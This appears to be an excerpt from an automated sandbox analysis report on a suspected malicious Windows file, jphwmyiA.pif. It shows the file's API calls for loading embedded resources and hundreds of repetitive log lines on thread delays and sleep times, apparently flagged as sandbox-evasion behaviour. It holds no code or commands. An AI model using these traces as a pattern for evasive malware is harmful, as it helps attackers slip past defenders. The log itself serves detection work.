          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,12_2_004019F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599825Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599663Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599538Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599424Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599204Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598981Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598606Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598486Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598368Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598246Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598133Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598015Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597905Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597796Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597686Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597577Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597468Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597358Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597249Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597139Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597030Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596921Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596811Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596702Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596589Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596483Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596374Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596226Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596074Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595952Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595843Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595733Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595624Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595515Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595405Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595289Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595171Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595061Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594952Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594843Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594732Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594608Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594473Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594338Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594225Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594093Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593980Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593862Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593731Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593559Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593444Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593322Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593187Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593058Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592945Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592835Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592666Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592531Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592412Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599890
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599781
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599672
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599562
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599453
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599343
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599228
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599109
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598997
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598875
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598753
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598625
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598516
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598391
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598281
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598171
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598062
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597952
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597843
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597734
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597624
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597514
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597379
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597123
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597015
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596906
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596797
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596687
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596578
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596468
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596358
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596250
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596140
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596031
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595922
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595812
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595703
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595593
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595374
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595265
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595156
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595042
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594922
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594812
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594703
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594594
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594372
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599874
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599750
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599640
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599530
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599422
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599312
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599202
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599092
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598957
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598701
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598593
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598375
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598265
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598156
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598046
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597936
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597828
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597718
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597608
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597500
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597390
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597280
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597172
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597062
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596952
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596843
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596734
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596625
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596515
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596406
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596297
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596187
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596078
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595968
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595858
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595750
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595640
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595531
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595422
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595312
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595202
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595093
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594984
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594873
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594765
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594656
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594542
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594437
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 1679Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 8118Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: foregroundWindowGot 1736Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 5247
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 4595
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: foregroundWindowGot 1766
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 4464
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: threadDelayed 5386
          Source: C:\Users\Public\Libraries\jphwmyiA.pifWindow / User API: foregroundWindowGot 1755
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -26747778906878833s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -600000s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6392Thread sleep count: 1679 > 30Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -599825s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -599663s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 2072Thread sleep count: 8118 > 30Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -599538s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -599424s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -599204s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598981s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598606s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598486s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598368s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598246s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598133s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -598015s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597905s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597796s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597686s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597577s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597468s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597358s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597249s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597139s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -597030s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596921s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596811s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596702s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596589s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596483s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596374s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596226s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -596074s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595952s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595843s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595733s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595624s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595515s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595405s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595289s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595171s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -595061s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594952s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594843s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594732s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594608s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594473s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594338s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594225s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -594093s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593980s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593862s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593731s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593559s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593444s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593322s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593187s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -593058s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -592945s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -592835s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -592666s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -592531s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4676Thread sleep time: -592412s >= -30000sJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep count: 34 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -31359464925306218s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -600000s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4396Thread sleep count: 5247 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599890s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4396Thread sleep count: 4595 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599781s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599672s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599562s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599453s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599343s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599228s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -599109s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598997s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598875s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598753s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598625s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598516s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598391s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598281s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598171s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -598062s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597952s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597843s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597734s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597624s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597514s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597379s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597123s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -597015s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596906s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596797s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596687s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596578s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596468s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596358s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596250s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596140s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -596031s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595922s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595812s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595703s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595593s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595484s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595374s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595265s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595156s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -595042s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594922s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594812s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594703s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594594s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594484s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 6324Thread sleep time: -594372s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep count: 36 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -33204139332677172s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -600000s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 940Thread sleep count: 4464 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599874s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 940Thread sleep count: 5386 > 30
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599750s >= -30000s
